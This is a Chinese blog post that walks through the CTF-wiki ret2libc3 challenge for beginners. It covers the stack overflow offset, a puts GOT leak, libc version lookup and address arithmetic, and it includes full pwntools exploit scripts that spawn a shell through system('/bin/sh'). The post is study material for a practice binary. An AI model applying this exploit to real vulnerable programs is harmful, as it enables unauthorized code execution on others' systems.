适合新手的ret2libc3之路

rop之libc3

做了一下这道题,感觉收获蛮大,写一篇博客,也方便自己记忆。

题目链接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop/#3

参考链接:https://www.jianshu.com/p/5525dde00053


好了回归正题,首先拿到这个题目,ida打开按f5查看伪代码,看到了高危函数gets,明显存在缓冲区溢出漏洞。

适合新手的ret2libc3之路_第1张图片

1. 找返回地址

使用cyclic命令生成200个有顺序的垃圾字符,可以看到返回地址被覆盖成了0x62616164。

在这里插入图片描述
适合新手的ret2libc3之路_第2张图片

再使用cyclic -l命令得到偏移量为112

在这里插入图片描述

2.找system地址及/bin/sh地址

程序里并没有system地址和/bin/sh地址。

在这里插入图片描述
在这里插入图片描述

那我们只能自己找system的地址了,该如何得到system的地址呢?

我们知道,libc.so动态链接库里的函数的偏移是固定的,system函数是属于libc的,而且libc中也有/bin/sh。(个人理解:每个libc.so中的函数偏移是固定的,libc版本不同,偏移不同。找到libc版本,即可知道每个函数在这个libc文件的偏移量。如果哪里有错误,望大牛指出)

所以我们只要得到libc的版本,就可以知道了system函数和/bin/sh的偏移量。知道偏移量后,再找到Llibc的基地址,就可以得到system函数的真实地址,就可以做我们想要做的事情了,我们可以通过一个公式来得到system的真实地址。

libc基地址  +  函数偏移量   =  函数真实地址

应该怎么找libc基地址呢?真是一个让人头疼的问题。
我们可以泄露一个函数的真实地址,然后根据公式可以得到libc的基地址,因为知道了libc版本,就知道了函数偏移量。
问题又来了,我们该如何泄露函数的真实地址的,这里涉及到了libc的延迟绑定技术,这个技术大概就是当第一次调用一个函数的时候,这个函数的got表里存放着是下一条plt表的指令的地址,然后再经过一系列的操作(这里不详解got表和plt表的关系了,太复杂了。)得到了这个函数的真实地址,然后呢,再把这个函数的真实地址放到了got表里。当第二次调用这个函数的时候,就可以直接从Got表里取函数的真实地址,不用再去寻找了。
说了这么多,也不知道你们能不能看懂,如果哪里不懂,可以在下面的评论区说一下,一起讨论,首先说好,我是菜鸡。

我们要泄露函数的真实地址,一般的方法是采用got表泄露,因为只要之前执行过puts函数,got表里存放着就是函数的真实地址了,这里我用的是puts函数,因为程序里已经运行过了puts函数,真实地址已经存放到了got表内。我们得到puts函数的got地址后,可以把这个地址作为参数传递给puts函数,则会把这个地址里的数据,即puts函数的真实地址给输出出来,这样我们就得到了puts函数的真实地址。

from pwn import *

p = process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_got_addr = elf.got['puts']#得到puts的got的地址,这个地址里的数据即函数的真实地址,即我们要泄露的对象
puts_plt_addr = elf.plt['puts']#puts的plt表的地址,我们需要利用puts函数泄露
main_plt_addr = elf.symbols['_start']#返回地址被覆盖为main函数的地址。使程序还可被溢出

print "puts_got_addr = ",hex(puts_got_addr)
print "puts_plt_addr = ",hex(puts_plt_addr)
print "main_plt_addr = ",hex(main_plt_addr)

payload = ''
payload += 'A'*112
payload += p32(puts_plt_addr)#覆盖返回地址为puts函数
payload += p32(main_plt_addr)#这里是puts函数返回的地址。
payload += p32(puts_got_addr)#这里是puts函数的参数

p.recv()
p.sendline(payload)

puts_addr = u32(p.recv()[0:4])将地址输出出来后再用332解包,此时就得到了puts函数的真实地址。
print "puts_addr = ",hex(puts_addr)

运行后得到函数的真实地址为0xf7d54360。

适合新手的ret2libc3之路_第3张图片

上面说过,需要知道libc的版本才能知道函数偏移量,我们根据函数真实地址可以得到libc版本。aslr技术,是地址随机化,虽然是地址随机化,但低十二位是不变的,因为需要内存页对齐,puts函数的真实地址0xf7d54360的低十二位是360,然后去一个网站libc_search可以根据后十二位查到这个函数所在的libc的版本。

适合新手的ret2libc3之路_第4张图片

至此我们得到了system函数的偏移量和/bin/sh的偏移量(即str_bin_sh)。
终于快写完了,写了一个小时!!!
现在我们有了puts函数的偏移量和puts函数的真实地址。根据公式,就可以知道libc基地址了。所有函数的libc基地址是一样的,只是偏移不一样。

最后理一下思路
1.泄露puts函数的真实地址
2.得到libc的版本
3.得到system和puts和sh的偏移,计算libc基地址
4.计算system和sh的真实地址
5.构造payload为system(’/bin/sh’)
6.写exp

3、 写exp脚本

在上一个脚本的基础上加几行代码
from pwn import *

p = process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_plt_addr = elf.symbols['_start']

print "puts_got_addr = ",hex(puts_got_addr)
print "puts_plt_addr = ",hex(puts_plt_addr)
print "main_plt_addr = ",hex(main_plt_addr)

payload = ''
payload += 'A'*112
payload += p32(puts_plt_addr)
payload += p32(main_plt_addr)
payload += p32(puts_got_addr)

p.recv()
p.sendline(payload)

puts_addr = u32(p.recv()[0:4])
print "puts_addr = ",hex(puts_addr)
sys_offset = 0x03cd10
puts_offset = 0x067360
sh_offset = 0x17b8cf

#根据公式  libc基地址  +  函数偏移量   =  函数真实地址   来计算
libc_base_addr = puts_addr - puts_offset #计算出libc基地址
sys_addr = libc_base_addr + sys_offset #计算出system的真实地址
sh_addr = libc_base_addr + sh_offset #计算出/bin/sh的真实地址

print "libc_base_addr = ",hex(libc_base_addr)
print "sys_addr = ",hex(sys_addr)
print "sh_addr = ",hex(sh_addr)

payload = ''
payload += 'A'*112
payload += p32(sys_addr) #覆盖返回地址为system函数
payload += "AAAA"  #system的返回地址,随便输,因为之前调用了system('/bin/sh')
payload += p32(sh_addr)  #system函数参数

p.sendline(payload)
p.interactive()

你可能感兴趣的:(pwn)